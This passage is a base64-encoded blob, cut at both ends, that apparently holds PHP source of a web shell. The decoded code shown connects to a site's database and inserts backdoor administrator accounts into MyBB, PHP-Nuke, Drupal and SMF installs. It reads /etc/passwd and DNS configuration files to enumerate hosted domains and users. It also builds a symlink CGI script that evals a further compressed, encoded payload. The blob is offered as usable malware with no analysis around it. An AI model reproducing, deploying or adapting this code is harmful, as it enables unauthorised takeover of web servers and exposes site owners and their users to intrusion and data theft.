nRydWUsc3lzdGVtX292ZXJ2aWV3OnRydWUsd2htY3NfbmV3czp0cnVlLHN5c2luZm86dHJ1ZSxhZG1pbl9hY3Rpdml0eTp0cnVlLHRvZG9fbGlzdDp0cnVlLG5ldHdvcmtfc3RhdHVzOnRydWUsaW5jb21lX2ZvcmVjYXN0OnRydWV8JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNyddKSAmJiAkX1BPU1RbJ2FsZmE3J10gPT0gJ215YmInKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBNeWJiIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ215YmInKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCxcJ215YmJcJyx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhOCddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcnMgKHVpZCx1c2VybmFtZSxwYXNzd29yZCxzYWx0LGVtYWlsLHVzZXJncm91cCkgdmFsdWVzKG51bGwsJyIuJGFkbWluLiInLCdlNzFmMmMzMjY1NjE5MDM4ZDgyNmExYWM2ZTJiOWI4ZScsJ3l3emE2OGxTJywnIi4kU1FMLiInLCc0JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhOCddKSAmJiAkX1BPU1RbJ2FsZmE4J10gPT0gJ251a2UnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQaHBOdWtlIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3BocG51a2UnKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnbnVrZVwnLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhNyddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGhhc2ggPSBtZDUoJHB3ZCk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguIl9hdXRob3JzKGFpZCxuYW1lLGVtYWlsLHB3ZCkgdmFsdWVzKCckYWRtaW4nLCdHb2QnLCckU1FMJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZihpc3NldCgkX1BPU1RbJ2FsZmE5J10pICYmICRfUE9TVFsnYWxmYTknXSA9PSAnZHJ1cGFsJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRHJ1cGFsIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2RydXBhbCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSxudWxsLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSxcJ2RydXBhbFwnKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpCiApOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGdldERlc2N1aWQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgdWlkIGZyb20gdXNlcnMgb3JkZXIgYnkgdWlkIGRlc2MgbGltaXQgMCwxIik7CiRnZXREZXNjdWlkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkZ2V0RGVzY3VpZCk7CiRnZXREZXNjdWlkID0gJGdldERlc2N1aWRbJ3VpZCddOwokZ2V0ZGVzY3VpZCA9ICRnZXREZXNjdWlkKys7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB1c2VycyAodWlkLG5hbWUscGFzcyxtYWlsLHNpZ25hdHVyZV9mb3JtYXQsc3RhdHVzLHRpbWV6b25lLGluaXQpIHZhbHVlcygnJGdldERlc2N1aWQnLCckYWRtaW4nLCdcJFNcJERQMnk5QWJvbENCT2RcL1d5UWNwenU0ekY1N3FFMG5veUNOZVhaV3YuMzdSNjZWc0ZqT2lDJywnc29sZXZpc2libGVAZmJpLmdvdicsJ2ZpbHRlcmVkX2h0bWwnLCcxJywnRXVyb3BlL0JlcmxpbicsJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1aWQgZnJvbSB1c2VycyB3aGVyZSBuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGUgPSBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOwokcmVzID0gJHNvbGV2aXNbJ3VpZCddOwp9CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJJTlNFUlQgSU5UTyB1c2Vyc19yb2xlcyAodWlkLHJpZCkgVkFMVUVTICgnIi4kcmVzLiInLCAnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CgppZihpc3NldCgkX1BPU1RbJ2FsZmExMCddKSAmJiAkX1BPU1RbJ2FsZmExMCddID09ICdzbWYnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNNRiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdzbWYnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxudWxsLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLG51bGwsXCdzbWZcJyk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnc21mXycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiApOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNldHB3QWxnID0gc2hhMShzdHJ0b2xvd2VyKCRhZG1pbikgLiAnc29sZXZpc2libGUnKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fW1lbWJlcnMgKGlkX21lbWJlcixtZW1iZXJfbmFtZSxpZF9ncm91cCxyZWFsX25hbWUscGFzc3dkLGVtYWlsX2FkZHJlc3MpIHZhbHVlcyhudWxsLCckYWRtaW4nLCcxJywnJGFkbWluJywnJHNldHB3QWxnJywnc29sZXZpc2libGVAZmJpLmdvdicpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmVjaG8gIjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhTWFrZVB3ZCgpewoJaWYoX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKXx8KF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSYmX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMiKSkpewoJCXJldHVybiAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7Cgl9CgkkZG9jdW1lbnQgPSBleHBsb2RlKCIvIiwgJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSk7CgkkcHVibGljID0gZW5kKCRkb2N1bWVudCk7CglhcnJheV9wb3AoJGRvY3VtZW50KTsKCWFycmF5X3BvcCgkZG9jdW1lbnQpOwoJJHBhdGggPSBpbXBsb2RlKCIvIiwgJGRvY3VtZW50KSAuICIve3VzZXJ9LyIgLiAkcHVibGljOwoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIGFsZmFHZXREb21haW5zKCRzdGF0ZSA9IGZhbHNlKXsKCSRzdGF0ZSA9ICJuYW1lZC5jb25mIjsKCSRsaW5lcyA9IGFycmF5KCk7CgkkbGluZXMgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKCWlmKCEkbGluZXMpewoJCSRsaW5lcyA9IEBzY2FuZGlyKCIvZXRjL3ZhbGlhc2VzLyIpOwoJCSRzdGF0ZSA9ICJ2YWxpYXNlcyI7CgkJaWYoISRsaW5lcyl7CgkJCSRsaW5lcyA9IEBzY2FuZGlyKCIvdmFyL25hbWVkIik7CgkJCSRzdGF0ZSA9ICJuYW1lZCI7CgkJCWlmKCEkbGluZXMgJiYgJHN0YXRlKXsKCQkJCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7CgkJCQkkc3RhdGUgPSAicGFzc3dkIjsKCQkJfQoJCX0KCX0KCXJldHVybiBhcnJheSgibGluZXMiID0+ICRsaW5lcywgInN0YXRlIiA9PiAkc3RhdGUpOwp9CmZ1bmN0aW9uIGFsZmFDcmVhdGVQYXJlbnRGb2xkZXIoKXsKCSRwYXJlbnQgPSAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fOwoJaWYoIUBpc19kaXIoJHBhcmVudCkpewoJCUBta2RpcigkcGFyZW50LCAwNzU1LCB0cnVlKTsKCX0KfQpmdW5jdGlvbiBhbGZhc3ltbGluaygpewphbGZhaGVhZCgpOwpBbGZhTnVtKDksMTApOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayB8PC9kaXY+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1waHBcJykiPnwgU3ltbGluayggcGhwICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1wZXJsXCcpIj58IFN5bWxpbmsoIHBlcmwgKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3N5bXB5XCcpIj58IFN5bWxpbmsoIHB5dGhvbiApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSYmKCRfUE9TVFsnYWxmYTInXT09J3N5bXBlcmwnfHwkX1BPU1RbImFsZmEyIl09PSJzeW1weSIpKXsKCSRzeW1wYXRoID0gYWxmYU1ha2VQd2QoKTsKCUBta2RpcignY2dpYWxmYScsMDc1NSk7CglAY2hkaXIoJ2NnaWFsZmEnKTsKCWFsZmFjZ2lodGFjY2VzcygnY2dpJyk7CgkkcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7bXkgJGFsZmFfZGF0YT0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nIjtldmFsKENvbXByZXNzOjpabGliOjptZW1HdW56aXAoZGVjb2RlX2Jhc2U2NCgiSDRzSUFBQUFBQUFBLzUwWWUxUFRTUHlyTExGbkVxVjVWQkJzMmdLSDRqbWpjaVBvUDVUcmJMTGJOcEltdWV6MlphbWYvWDc3U0JxZ29IT1pJZDNOL3Q3dlpjb29pcktVY1p4eTlPRmljUHIrQStyMjBBNWR4SXd6MURqNTh2N2JsWGNkVEphb01X